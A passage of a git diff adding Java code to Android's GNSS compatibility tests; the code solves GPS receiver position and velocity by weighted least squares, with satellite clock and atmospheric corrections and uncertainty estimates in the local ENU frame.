+ int measurementCount = 0;
+
+ // Calculates range rates
+ for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+ if (satellitesToReceiverMeasurements.get(i) != null) {
+ GpsEphemerisProto ephemeridesProto = getEphemerisForSatellite(navMessageProto, i + 1);
+
+ double pseudorangeMeasurementMeters =
+ satellitesToReceiverMeasurements.get(i).pseudorangeMeters;
+ GpsTimeOfWeekAndWeekNumber correctedTowAndWeek =
+ calculateCorrectedTransmitTowAndWeek(ephemeridesProto, receiverGPSTowAtReceptionSeconds,
+ receiverGPSWeek, pseudorangeMeasurementMeters);
+
+ // Calculate satellite velocity
+ PositionAndVelocity satPosECEFMetersVelocityMPS = SatellitePositionCalculator
+ .calculateSatellitePositionAndVelocityFromEphemeris(
+ ephemeridesProto,
+ correctedTowAndWeek.gpsTimeOfWeekSeconds,
+ correctedTowAndWeek.weekNumber,
+ positionVelocitySolutionECEF[0],
+ positionVelocitySolutionECEF[1],
+ positionVelocitySolutionECEF[2]);
+
+ // Calculates satellite clock error rate
+ double satelliteClockErrorRateMps = SatelliteClockCorrectionCalculator.
+ calculateSatClockCorrErrorRate(
+ ephemeridesProto,
+ correctedTowAndWeek.gpsTimeOfWeekSeconds,
+ correctedTowAndWeek.weekNumber);
+
+ // Fill in range rates. range rate = satellite velocity (dot product) line-of-sight vector
+ rangeRateMps.setEntry(measurementCount, 0, -1 * (
+ satPosECEFMetersVelocityMPS.velocityXMetersPerSec
+ * geometryMatrix.getEntry(measurementCount, 0)
+ + satPosECEFMetersVelocityMPS.velocityYMetersPerSec
+ * geometryMatrix.getEntry(measurementCount, 1)
+ + satPosECEFMetersVelocityMPS.velocityZMetersPerSec
+ * geometryMatrix.getEntry(measurementCount, 2)));
+
+ deltaPseudoRangeRateMps.setEntry(measurementCount, 0,
+ satellitesToReceiverMeasurements.get(i).pseudorangeRateMps
+ - rangeRateMps.getEntry(measurementCount, 0) + satelliteClockErrorRateMps
+ - positionVelocitySolutionECEF[7]);
+
+ // Calculate the velocity weight matrix by using 1 / square(Pseudorangerate Uncertainty)
+ // along the diagonal
+ pseudorangeRateWeight.setEntry(measurementCount, measurementCount,
+ 1 / (satellitesToReceiverMeasurements
+ .get(i).pseudorangeRateUncertaintyMps
+ * satellitesToReceiverMeasurements
+ .get(i).pseudorangeRateUncertaintyMps));
+ measurementCount++;
+ }
+ }
+
+ RealMatrix weightedGeoMatrix = pseudorangeRateWeight.multiply(geometryMatrix);
+ RealMatrix deltaPseudoRangeRateWeightedMps =
+ pseudorangeRateWeight.multiply(deltaPseudoRangeRateMps);
+ QRDecompositionImpl qrdWeightedGeoMatrix = new QRDecompositionImpl(weightedGeoMatrix);
+ RealMatrix velocityMps
+ = qrdWeightedGeoMatrix.getSolver().solve(deltaPseudoRangeRateWeightedMps);
+ positionVelocitySolutionECEF[4] = velocityMps.getEntry(0, 0);
+ positionVelocitySolutionECEF[5] = velocityMps.getEntry(1, 0);
+ positionVelocitySolutionECEF[6] = velocityMps.getEntry(2, 0);
+ positionVelocitySolutionECEF[7] = velocityMps.getEntry(3, 0);
+
+ RealMatrix pseudorangeWeight
+ = new LUDecompositionImpl(
+ new Array2DRowRealMatrix(satPosPseudorangeResidualAndWeight.covarianceMatrixMetersSquare
+ )
+ ).getSolver().getInverse();
+
+ // Calculates and store the uncertainties of position and velocity in local ENU system in meters
+ // and meters per second.
+ double[] pvUncertainty =
+ calculatePositionVelocityUncertaintyEnu(pseudorangeRateWeight, pseudorangeWeight,
+ positionVelocitySolutionECEF);
+ System.arraycopy(pvUncertainty,
+ 0 /*source starting pos*/,
+ positionVelocityUncertaintyEnu,
+ 0 /*destination starting pos*/,
+ 6 /*length of elements*/);
+ }
+
+ /**
+ * Calculates the position uncertainty in meters and the velocity uncertainty
+ * in meters per second solution in local ENU system.
+ *
+ * <p> Reference: Global Positioning System: Signals, Measurements, and Performance
+ * by Pratap Misra, Per Enge, Page 206 - 209.
+ *
+ * @param velocityWeightMatrix the velocity weight matrix
+ * @param positionWeightMatrix the position weight matrix
+ * @param positionVelocitySolution the position and velocity solution in ECEF
+ * @return an array containing the position and velocity uncertainties in ENU coordinate system.
+ * [0-2] Enu uncertainty of position solution in meters.
+ * [3-5] Enu uncertainty of velocity solution in meters per second.
+ */
+ public double[] calculatePositionVelocityUncertaintyEnu(
+ RealMatrix velocityWeightMatrix, RealMatrix positionWeightMatrix,
+ double[] positionVelocitySolution){
+
+ if (geometryMatrix == null){
+ return null;
+ }
+
+ RealMatrix velocityH = calculateHMatrix(velocityWeightMatrix, geometryMatrix);
+ RealMatrix positionH = calculateHMatrix(positionWeightMatrix, geometryMatrix);
+
+ // Calculate the rotation Matrix to convert to local ENU system.
+ RealMatrix rotationMatrix = new Array2DRowRealMatrix(4, 4);
+ GeodeticLlaValues llaValues = Ecef2LlaConverter.convertECEFToLLACloseForm
+ (positionVelocitySolution[0], positionVelocitySolution[1], positionVelocitySolution[2]);
+ rotationMatrix.setSubMatrix(
+ Ecef2EnuConverter.getRotationMatrix(llaValues.longitudeRadians,
+ llaValues.latitudeRadians).getData(), 0, 0);
+ rotationMatrix.setEntry(3, 3, 1);
+
+ // Convert to local ENU by pre-multiply rotation matrix and multiply rotation matrix transposed
+ velocityH = rotationMatrix.multiply(velocityH).multiply(rotationMatrix.transpose());
+ positionH = rotationMatrix.multiply(positionH).multiply(rotationMatrix.transpose());
+
+ // Return the square root of diagonal entries
+ return new double[] {
+ Math.sqrt(positionH.getEntry(0, 0)), Math.sqrt(positionH.getEntry(1, 1)),
+ Math.sqrt(positionH.getEntry(2, 2)), Math.sqrt(velocityH.getEntry(0, 0)),
+ Math.sqrt(velocityH.getEntry(1, 1)), Math.sqrt(velocityH.getEntry(2, 2))};
+ }
+
+ /**
+ * Calculate the measurement connection matrix H as a function of weightMatrix and
+ * geometryMatrix.
+ *
+ * <p> H = (geometryMatrixTransposed * Weight * geometryMatrix) ^ -1
+ *
+ * <p> Reference: Global Positioning System: Signals, Measurements, and Performance, P207
+ * @param weightMatrix Weights for computing H Matrix
+ * @return H Matrix
+ */
+ private RealMatrix calculateHMatrix
+ (RealMatrix weightMatrix, RealMatrix geometryMatrix){
+
+ RealMatrix tempH = geometryMatrix.transpose().multiply(weightMatrix).multiply(geometryMatrix);
+ return new LUDecompositionImpl(tempH).getSolver().getInverse();
+ }
+
+ /**
+ * Applies weighted least square iterations and corrects to the position solution until correction
+ * is below threshold. An exception is thrown if the maximum number of iterations:
+ * {@value #MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS} is reached without convergence.
+ */
+ private SatellitesPositionPseudorangesResidualAndCovarianceMatrix applyWeightedLeastSquare(
+ GpsNavMessageProto navMessageProto,
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+ double receiverGPSTowAtReceptionSeconds,
+ int receiverGPSWeek,
+ int dayOfYear1To366,
+ double[] positionSolutionECEF,
+ double[] deltaPositionMeters,
+ boolean doAtmosphericCorrections,
+ SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight,
+ RealMatrix weightMatrixMetersMinus2)
+ throws Exception {
+ RealMatrix weightedGeometryMatrix;
+ int numberOfIterations = 0;
+
+ while ((Math.abs(deltaPositionMeters[0]) + Math.abs(deltaPositionMeters[1])
+ + Math.abs(deltaPositionMeters[2])) >= LEAST_SQUARE_TOLERANCE_METERS) {
+ // Apply ionospheric and tropospheric corrections only if the applied correction to
+ // position is below a specific threshold
+ if ((Math.abs(deltaPositionMeters[0]) + Math.abs(deltaPositionMeters[1])
+ + Math.abs(deltaPositionMeters[2])) < ATMPOSPHERIC_CORRECTIONS_THRESHOLD_METERS) {
+ doAtmosphericCorrections = true;
+ }
+ // Calculate satellites' positions, measurement residual per visible satellite and weight
+ // matrix for the iterative least square
+ satPosPseudorangeResidualAndWeight = calculateSatPosAndPseudorangeResidual(navMessageProto,
+ usefulSatellitesToReceiverMeasurements, receiverGPSTowAtReceptionSeconds, receiverGPSWeek,
+ dayOfYear1To366, positionSolutionECEF, doAtmosphericCorrections);
+
+ // Calculate the geometry matrix according to "Global Positioning System: Theory and
+ // Applications", Parkinson and Spilker page 413
+ geometryMatrix = new Array2DRowRealMatrix(calculateGeometryMatrix(
+ satPosPseudorangeResidualAndWeight.satellitesPositionsMeters, positionSolutionECEF));
+ // Apply weighted least square only if the covariance matrix is
+ // not singular (has a non-zero determinant), otherwise apply ordinary least square.
+ // The reason is to ignore reported signal to noise ratios by the receiver that can
+ // lead to such singularities
+ if (weightMatrixMetersMinus2 == null) {
+ weightedGeometryMatrix = geometryMatrix;
+ } else {
+ RealMatrix hMatrix =
+ calculateHMatrix(weightMatrixMetersMinus2, geometryMatrix);
+ weightedGeometryMatrix = hMatrix.multiply(geometryMatrix.transpose())
+ .multiply(weightMatrixMetersMinus2);
+ }
+
+ // Equation 9 page 413 from "Global Positioning System: Theory and Applicaitons",
+ // Parkinson and Spilker
+ deltaPositionMeters =
+ GpsMathOperations.matrixByColVectMultiplication(
+ weightedGeometryMatrix.getData(),
+ satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters);
+
+ // Apply corrections to the position estimate
+ positionSolutionECEF[0] += deltaPositionMeters[0];
+ positionSolutionECEF[1] += deltaPositionMeters[1];
+ positionSolutionECEF[2] += deltaPositionMeters[2];
+ positionSolutionECEF[3] += deltaPositionMeters[3];
+ numberOfIterations++;
+ Preconditions.checkArgument(numberOfIterations <= MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS,
+ "Maximum number of least square iterations reached without convergance...");
+ }
+ return satPosPseudorangeResidualAndWeight;
+ }
+
+ /**
+ * Removes satellites that have residuals above {@value #RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS}
+ * from the {@code usefulSatellitesToReceiverMeasurements} list. Returns true if any satellite is
+ * removed.
+ */
+ private boolean removeHighResidualSats(
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+ boolean repeatLeastSquare,
+ SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight,
+ int satsWithResidualBelowThreshold) {
+
+ for (int i = 0; i < satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters.length; i++) {
+ if (satsWithResidualBelowThreshold > MINIMUM_NUMER_OF_SATELLITES) {
+ if (Math.abs(satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters[i])
+ > RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS) {
+ int prn = satPosPseudorangeResidualAndWeight.satellitePRNs[i];
+ usefulSatellitesToReceiverMeasurements.set(prn - 1, null);
+ satsWithResidualBelowThreshold--;
+ repeatLeastSquare = true;
+ }
+ }
+ }
+ return repeatLeastSquare;
+ }
+
+ /**
+ * Calculates position of all visible satellites and pseudorange measurement residual (difference
+ * of measured to predicted pseudoranges) needed for the least square computation. The result is
+ * stored in an instance of {@link SatellitesPositionPseudorangesResidualAndCovarianceMatrix}
+ *
+ * @param navMeassageProto parameters of the navigation message
+ * @param usefulSatellitesToReceiverMeasurements Map of useful satellite PRN to
+ * {@link GpsMeasurementWithRangeAndUncertainty} containing receiver measurements for
+ * computing the position solution
+ * @param receiverGPSTowAtReceptionSeconds Receiver estimate of GPS time of week (seconds)
+ * @param receiverGpsWeek Receiver estimate of GPS week (0-1024+)
+ * @param dayOfYear1To366 The day of the year between 1 and 366
+ * @param userPositionECEFMeters receiver ECEF position in meters
+ * @param doAtmosphericCorrections boolean indicating if atmospheric range corrections should be
+ * applied
+ * @return SatellitesPositionPseudorangesResidualAndCovarianceMatrix Object containing satellite
+ * prns, satellite positions in ECEF, pseudorange residuals and covariance matrix.
+ */
+ public SatellitesPositionPseudorangesResidualAndCovarianceMatrix
+ calculateSatPosAndPseudorangeResidual(
+ GpsNavMessageProto navMeassageProto,
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+ double receiverGPSTowAtReceptionSeconds,
+ int receiverGpsWeek,
+ int dayOfYear1To366,
+ double[] userPositionECEFMeters,
+ boolean doAtmosphericCorrections)
+ throws Exception {
+ int numberOfUsefulSatellites =
+ getNumberOfusefulSatellites(usefulSatellitesToReceiverMeasurements);
+ // deltaPseudorange is the pseudorange measurement residual
+ double[] deltaPseudorangesMeters = new double[numberOfUsefulSatellites];
+ double[][] satellitesPositionsECEFMeters = new double[numberOfUsefulSatellites][3];
+
+ // satellite PRNs
+ int[] satellitePRNs = new int[numberOfUsefulSatellites];
+
+ // Ionospheric model parameters
+ double[] alpha =
+ {navMeassageProto.iono.alpha[0], navMeassageProto.iono.alpha[1],
+ navMeassageProto.iono.alpha[2], navMeassageProto.iono.alpha[3]};
+ double[] beta = {navMeassageProto.iono.beta[0], navMeassageProto.iono.beta[1],
+ navMeassageProto.iono.beta[2], navMeassageProto.iono.beta[3]};
+ // Weight matrix for the weighted least square
+ RealMatrix covarianceMatrixMetersSquare =
+ new Array2DRowRealMatrix(numberOfUsefulSatellites, numberOfUsefulSatellites);
+ calculateSatPosAndResiduals(
+ navMeassageProto,
+ usefulSatellitesToReceiverMeasurements,
+ receiverGPSTowAtReceptionSeconds,
+ receiverGpsWeek,
+ dayOfYear1To366,
+ userPositionECEFMeters,
+ doAtmosphericCorrections,
+ deltaPseudorangesMeters,
+ satellitesPositionsECEFMeters,
+ satellitePRNs,
+ alpha,
+ beta,
+ covarianceMatrixMetersSquare);
+
+ return new SatellitesPositionPseudorangesResidualAndCovarianceMatrix(satellitePRNs,
+ satellitesPositionsECEFMeters, deltaPseudorangesMeters,
+ covarianceMatrixMetersSquare.getData());
+ }
+
+ /**
+ * Calculates and fill the position of all visible satellites:
+ * {@code satellitesPositionsECEFMeters}, pseudorange measurement residual (difference of measured
+ * to predicted pseudoranges): {@code deltaPseudorangesMeters} and covariance matrix from the
+ * weighted least square: {@code covarianceMatrixMetersSquare}. An array of the satellite PRNs
+ * {@code satellitePRNs} is as well filled.
+ */
+ private void calculateSatPosAndResiduals(
+ GpsNavMessageProto navMeassageProto,
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+ double receiverGPSTowAtReceptionSeconds,
+ int receiverGpsWeek,
+ int dayOfYear1To366,
+ double[] userPositionECEFMeters,
+ boolean doAtmosphericCorrections,
+ double[] deltaPseudorangesMeters,
+ double[][] satellitesPositionsECEFMeters,
+ int[] satellitePRNs,
+ double[] alpha,
+ double[] beta,
+ RealMatrix covarianceMatrixMetersSquare)
+ throws Exception {
+ // user position without the clock estimate
+ double[] userPositionTempECEFMeters =
+ {userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]};
+ int satsCounter = 0;
+ for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+ if (usefulSatellitesToReceiverMeasurements.get(i) != null) {
+ GpsEphemerisProto ephemeridesProto = getEphemerisForSatellite(navMeassageProto, i + 1);
+ // Correct the receiver time of week with the estimated receiver clock bias
+ receiverGPSTowAtReceptionSeconds =
+ receiverGPSTowAtReceptionSeconds - userPositionECEFMeters[3] / SPEED_OF_LIGHT_MPS;
+
+ double pseudorangeMeasurementMeters =
+ usefulSatellitesToReceiverMeasurements.get(i).pseudorangeMeters;
+ double pseudorangeUncertaintyMeters =
+ usefulSatellitesToReceiverMeasurements.get(i).pseudorangeUncertaintyMeters;
+
+ // Assuming uncorrelated pseudorange measurements, the covariance matrix will be diagonal as
+ // follows
+ covarianceMatrixMetersSquare.setEntry(satsCounter, satsCounter,
+ pseudorangeUncertaintyMeters * pseudorangeUncertaintyMeters);
+
+ // Calculate time of week at transmission time corrected with the satellite clock drift
+ GpsTimeOfWeekAndWeekNumber correctedTowAndWeek =
+ calculateCorrectedTransmitTowAndWeek(ephemeridesProto, receiverGPSTowAtReceptionSeconds,
+ receiverGpsWeek, pseudorangeMeasurementMeters);
+
+ // calculate satellite position and velocity
+ PositionAndVelocity satPosECEFMetersVelocityMPS = SatellitePositionCalculator
+ .calculateSatellitePositionAndVelocityFromEphemeris(ephemeridesProto,
+ correctedTowAndWeek.gpsTimeOfWeekSeconds, correctedTowAndWeek.weekNumber,
+ userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]);
+
+ satellitesPositionsECEFMeters[satsCounter][0] = satPosECEFMetersVelocityMPS.positionXMeters;
+ satellitesPositionsECEFMeters[satsCounter][1] = satPosECEFMetersVelocityMPS.positionYMeters;
+ satellitesPositionsECEFMeters[satsCounter][2] = satPosECEFMetersVelocityMPS.positionZMeters;
+
+ // Calculate ionospheric and tropospheric corrections
+ double ionosphericCorrectionMeters;
+ double troposphericCorrectionMeters;
+ if (doAtmosphericCorrections) {
+ ionosphericCorrectionMeters =
+ IonosphericModel.ionoKloboucharCorrectionSeconds(
+ userPositionTempECEFMeters,
+ satellitesPositionsECEFMeters[satsCounter],
+ correctedTowAndWeek.gpsTimeOfWeekSeconds,
+ alpha,
+ beta,
+ IonosphericModel.L1_FREQ_HZ)
+ * SPEED_OF_LIGHT_MPS;
+
+ troposphericCorrectionMeters =
+ calculateTroposphericCorrectionMeters(
+ dayOfYear1To366,
+ satellitesPositionsECEFMeters,
+ userPositionTempECEFMeters,
+ satsCounter);
+ } else {
+ troposphericCorrectionMeters = 0.0;
+ ionosphericCorrectionMeters = 0.0;
+ }
+ double predictedPseudorangeMeters =
+ calculatePredictedPseudorange(userPositionECEFMeters, satellitesPositionsECEFMeters,
+ userPositionTempECEFMeters, satsCounter, ephemeridesProto, correctedTowAndWeek,
+ ionosphericCorrectionMeters, troposphericCorrectionMeters);
+
+ // Pseudorange residual (difference of measured to predicted pseudoranges)
+ deltaPseudorangesMeters[satsCounter] =
+ pseudorangeMeasurementMeters - predictedPseudorangeMeters;
+
+ // Satellite PRNs
+ satellitePRNs[satsCounter] = i + 1;
+ satsCounter++;
+ }
+ }
+ }
+
+ /** Searches ephemerides list for the ephemeris associated with current satellite in process */
+ private GpsEphemerisProto getEphemerisForSatellite(GpsNavMessageProto navMeassageProto,
+ int satPrn) {
+ List<GpsEphemerisProto> ephemeridesList
+ = new ArrayList<GpsEphemerisProto>(Arrays.asList(navMeassageProto.ephemerids));
+ GpsEphemerisProto ephemeridesProto = null;
+ int ephemerisPrn = 0;
+ for (GpsEphemerisProto ephProtoFromList : ephemeridesList) {
+ ephemerisPrn = ephProtoFromList.prn;
+ if (ephemerisPrn == satPrn) {
+ ephemeridesProto = ephProtoFromList;
+ break;
+ }
+ }
+ return ephemeridesProto;
+ }
+
+ /** Calculates predicted pseudorange in meters */
+ private double calculatePredictedPseudorange(double[] userPositionECEFMeters,
+ double[][] satellitesPositionsECEFMeters, double[] userPositionNoClockECEFMeters,
+ int satsCounter, GpsEphemerisProto ephemeridesProto,
+ GpsTimeOfWeekAndWeekNumber correctedTowAndWeek, double ionosphericCorrectionMeters,
+ double troposphericCorrectionMeters) throws Exception {
+ // Calcualte the satellite clock drift
+ double satelliteClockCorrectionMeters =
+ SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
+ ephemeridesProto, correctedTowAndWeek.gpsTimeOfWeekSeconds,
+ correctedTowAndWeek.weekNumber).satelliteClockCorrectionMeters;
+
+ double satelliteToUserDistanceMeters =
+ GpsMathOperations.vectorNorm(GpsMathOperations.subtractTwoVectors(
+ satellitesPositionsECEFMeters[satsCounter], userPositionNoClockECEFMeters));
+
+ // Predicted pseudorange
+ double predictedPseudorangeMeters =
+ satelliteToUserDistanceMeters - satelliteClockCorrectionMeters + ionosphericCorrectionMeters
+ + troposphericCorrectionMeters + userPositionECEFMeters[3];
+ return predictedPseudorangeMeters;
+ }
+
+ /** Calculates the Gps troposheric correction in meters */
+ private double calculateTroposphericCorrectionMeters(int dayOfYear1To366,
+ double[][] satellitesPositionsECEFMeters, double[] userPositionTempECEFMeters,
+ int satsCounter) {
+ double troposphericCorrectionMeters;
+ TopocentricAEDValues elevationAzimuthDist =
+ EcefToTopocentricConverter.convertCartesianToTopocentericRadMeters(
+ userPositionTempECEFMeters, GpsMathOperations.subtractTwoVectors(
+ satellitesPositionsECEFMeters[satsCounter], userPositionTempECEFMeters));
+
+ GeodeticLlaValues lla =
+ Ecef2LlaConverter.convertECEFToLLACloseForm(userPositionTempECEFMeters[0],
+ userPositionTempECEFMeters[1], userPositionTempECEFMeters[2]);
+
+ double elevationMetersAboveSeaLevel = 0.0;
+ if (calculateGeoidMeters) {
+ geoidHeightMeters = lla.altitudeMeters;
+ troposphericCorrectionMeters = TroposphericModelEgnos.calculateTropoCorrectionMeters(
+ elevationAzimuthDist.elevationRadians, lla.latitudeRadians, elevationMetersAboveSeaLevel,
+ dayOfYear1To366);
+ } else {
+ troposphericCorrectionMeters = TroposphericModelEgnos.calculateTropoCorrectionMeters(
+ elevationAzimuthDist.elevationRadians, lla.latitudeRadians,
+ lla.altitudeMeters - geoidHeightMeters, dayOfYear1To366);
+ }
+ return troposphericCorrectionMeters;
+ }
+
+ /**
+ * Gets the number of useful satellites from a list of
+ * {@link GpsMeasurementWithRangeAndUncertainty}.
+ */
+ private int getNumberOfusefulSatellites(
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements) {
+ // calculate the number of useful satellites
+ int numberOfUsefulSatellites = 0;
+ for (int i = 0; i < usefulSatellitesToReceiverMeasurements.size(); i++) {
+ if (usefulSatellitesToReceiverMeasurements.get(i) != null) {
+ numberOfUsefulSatellites++;
+ }
+ }
+ return numberOfUsefulSatellites;
+ }
+
+ /**
+ * Computes the GPS time of week at the time of transmission and as well the corrected GPS week
+ * taking into consideration week rollover. The returned GPS time of week is corrected by the
+ * computed satellite clock drift. The result is stored in an instance of
+ * {@link GpsTimeOfWeekAndWeekNumber}
+ *
+ * @param ephemerisProto parameters of the navigation message
+ * @param receiverGpsTowAtReceptionSeconds Receiver estimate of GPS time of week when signal was
+ * received (seconds)
+ * @param receiverGpsWeek Receiver estimate of GPS week (0-1024+)
+ * @param pseudorangeMeters Measured pseudorange in meters
+ * @return GpsTimeOfWeekAndWeekNumber Object containing Gps time of week and week number.
+ */
+ private static GpsTimeOfWeekAndWeekNumber calculateCorrectedTransmitTowAndWeek(
+ GpsEphemerisProto ephemerisProto, double receiverGpsTowAtReceptionSeconds,
+ int receiverGpsWeek, double pseudorangeMeters) throws Exception {
+ // GPS time of week at time of transmission: Gps time corrected for transit time (page 98 ICD
+ // GPS 200)
+ double receiverGpsTowAtTimeOfTransmission =
+ receiverGpsTowAtReceptionSeconds - pseudorangeMeters / SPEED_OF_LIGHT_MPS;
+
+ // Adjust for week rollover
+ if (receiverGpsTowAtTimeOfTransmission < 0) {
+ receiverGpsTowAtTimeOfTransmission += SECONDS_IN_WEEK;
+ receiverGpsWeek -= 1;
+ } else if (receiverGpsTowAtTimeOfTransmission > SECONDS_IN_WEEK) {
+ receiverGpsTowAtTimeOfTransmission -= SECONDS_IN_WEEK;
+ receiverGpsWeek += 1;
+ }
+
+ // Compute the satellite clock correction term (Seconds)
+ double clockCorrectionSeconds =
+ SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
+ ephemerisProto, receiverGpsTowAtTimeOfTransmission,
+ receiverGpsWeek).satelliteClockCorrectionMeters / SPEED_OF_LIGHT_MPS;
+
+ // Correct with the satellite clock correction term
+ double receiverGpsTowAtTimeOfTransmissionCorrectedSec =
+ receiverGpsTowAtTimeOfTransmission + clockCorrectionSeconds;
+
+ // Adjust for week rollover due to satellite clock correction
+ if (receiverGpsTowAtTimeOfTransmissionCorrectedSec < 0.0) {
+ receiverGpsTowAtTimeOfTransmissionCorrectedSec += SECONDS_IN_WEEK;
+ receiverGpsWeek -= 1;
+ }
+ if (receiverGpsTowAtTimeOfTransmissionCorrectedSec > SECONDS_IN_WEEK) {
+ receiverGpsTowAtTimeOfTransmissionCorrectedSec -= SECONDS_IN_WEEK;
+ receiverGpsWeek += 1;
+ }
+ return new GpsTimeOfWeekAndWeekNumber(receiverGpsTowAtTimeOfTransmissionCorrectedSec,
+ receiverGpsWeek);
+ }
+
+ /**
+ * Calculates the Geometry matrix (describing user to satellite geometry) given a list of
+ * satellite positions in ECEF coordinates in meters and the user position in ECEF in meters.
+ *
+ * <p>The geometry matrix has four columns, and rows equal to the number of satellites. For each
+ * of the rows (i.e. for each of the satellites used), the columns are filled with the normalized
+ * line–of-sight vectors and 1 s for the fourth column.
+ *
+ * <p>Source: Parkinson, B.W., Spilker Jr., J.J.: ‘Global positioning system: theory and
+ * applications’ page 413
+ */
+ private static double[][] calculateGeometryMatrix(double[][] satellitePositionsECEFMeters,
+ double[] userPositionECEFMeters) {
+
+ double[][] geometeryMatrix = new double[satellitePositionsECEFMeters.length][4];
+ for (int i = 0; i < satellitePositionsECEFMeters.length; i++) {
+ geometeryMatrix[i][3] = 1;
+ }
+ // iterate over all satellites
+ for (int i = 0; i < satellitePositionsECEFMeters.length; i++) {
+ double[] r = {satellitePositionsECEFMeters[i][0] - userPositionECEFMeters[0],
+ satellitePositionsECEFMeters[i][1] - userPositionECEFMeters[1],
+ satellitePositionsECEFMeters[i][2] - userPositionECEFMeters[2]};
+ double norm = Math.sqrt(Math.pow(r[0], 2) + Math.pow(r[1], 2) + Math.pow(r[2], 2));
+ for (int j = 0; j < 3; j++) {
+ geometeryMatrix[i][j] =
+ (userPositionECEFMeters[j] - satellitePositionsECEFMeters[i][j]) / norm;
+ }
+ }
+ return geometeryMatrix;
+ }
+
+ /**
+ * Class containing satellites' PRNs, satellites' positions in ECEF meters, the peseudorange
+ * residual per visible satellite in meters and the covariance matrix of the pseudoranges in
+ * meters square
+ */
+ private static class SatellitesPositionPseudorangesResidualAndCovarianceMatrix {
+
+ /** Satellites' PRNs */
+ private final int[] satellitePRNs;
+
+ /** ECEF positions (meters) of useful satellites */
+ private final double[][] satellitesPositionsMeters;
+
+ /** Pseudorange measurement residuals (difference of measured to predicted pseudoranges) */
+ private final double[] pseudorangeResidualsMeters;
+
+ /** Pseudorange covariance Matrix for the weighted least squares (meters square) */
+ private final double[][] covarianceMatrixMetersSquare;
+
+ /** Constructor */
+ private SatellitesPositionPseudorangesResidualAndCovarianceMatrix(int[] satellitePRNs,
+ double[][] satellitesPositionsMeters, double[] pseudorangeResidualsMeters,
+ double[][] covarianceMatrixMetersSquare) {
+ this.satellitePRNs = satellitePRNs;
+ this.satellitesPositionsMeters = satellitesPositionsMeters;
+ this.pseudorangeResidualsMeters = pseudorangeResidualsMeters;
+ this.covarianceMatrixMetersSquare = covarianceMatrixMetersSquare;
+ }
+
+ }
+
+ /**
+ * Class containing GPS time of week in seconds and GPS week number
+ */
+ private static class GpsTimeOfWeekAndWeekNumber {
+ /** GPS time of week in seconds */
+ private final double gpsTimeOfWeekSeconds;
+
+ /** GPS week number */
+ private final int weekNumber;
+
+ /** Constructor */
+ private GpsTimeOfWeekAndWeekNumber(double gpsTimeOfWeekSeconds, int weekNumber) {
+ this.gpsTimeOfWeekSeconds = gpsTimeOfWeekSeconds;
+ this.weekNumber = weekNumber;
+ }
+ }
+
+ /**
+ * Uses the common reception time approach to calculate pseudoranges from the time of week
+ * measurements reported by the receiver according to http://cdn.intechopen.com/pdfs-wm/27712.pdf.
+ * As well computes the pseudoranges uncertainties for each input satellite
+ */
+ static List<GpsMeasurementWithRangeAndUncertainty> computePseudorangeAndUncertainties(
+ List<GpsMeasurement> usefulSatellitesToReceiverMeasurements,
+ Long[] usefulSatellitesToTOWNs,
+ long largestTowNs) {
+
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToPseudorangeMeasurements =
+ Arrays.asList(
+ new GpsMeasurementWithRangeAndUncertainty[MAX_NUMBER_OF_SATELLITES]);
+ for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+ if (usefulSatellitesToTOWNs[i] != null) {
+ double deltai = largestTowNs - usefulSatellitesToTOWNs[i];
+ double pseudorangeMeters =
+ (AVERAGE_TRAVEL_TIME_SECONDS + deltai * SECONDS_PER_NANO) * SPEED_OF_LIGHT_MPS;
+
+ double signalToNoiseRatioLinear =
+ Math.pow(10, usefulSatellitesToReceiverMeasurements.get(i).signalToNoiseRatioDb / 10.0);
+ // From Global Positoning System book, Misra and Enge, page 416, the uncertainty of the
+ // pseudorange measurement is calculated next.
+ // For GPS C/A code chip width Tc = 1 microseconds. Narrow correlator with spacing d = 0.1
+ // chip and an average time of DLL correlator T of 20 milliseconds are used.
+ double sigmaMeters =
+ SPEED_OF_LIGHT_MPS
+ * GPS_CHIP_WIDTH_T_C_SEC
+ * Math.sqrt(
+ GPS_CORRELATOR_SPACING_IN_CHIPS
+ / (4 * GPS_DLL_AVERAGING_TIME_SEC * signalToNoiseRatioLinear));
+ usefulSatellitesToPseudorangeMeasurements.set(
+ i,
+ new GpsMeasurementWithRangeAndUncertainty(
+ usefulSatellitesToReceiverMeasurements.get(i), pseudorangeMeters, sigmaMeters));
+ }
+ }
+ return usefulSatellitesToPseudorangeMeasurements;
+ }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplRrlpController.java b/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplRrlpController.java
new file mode 100644
index 0000000..83235bd
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/suplClient/SuplRrlpController.java
@@ -0,0 +1,258 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
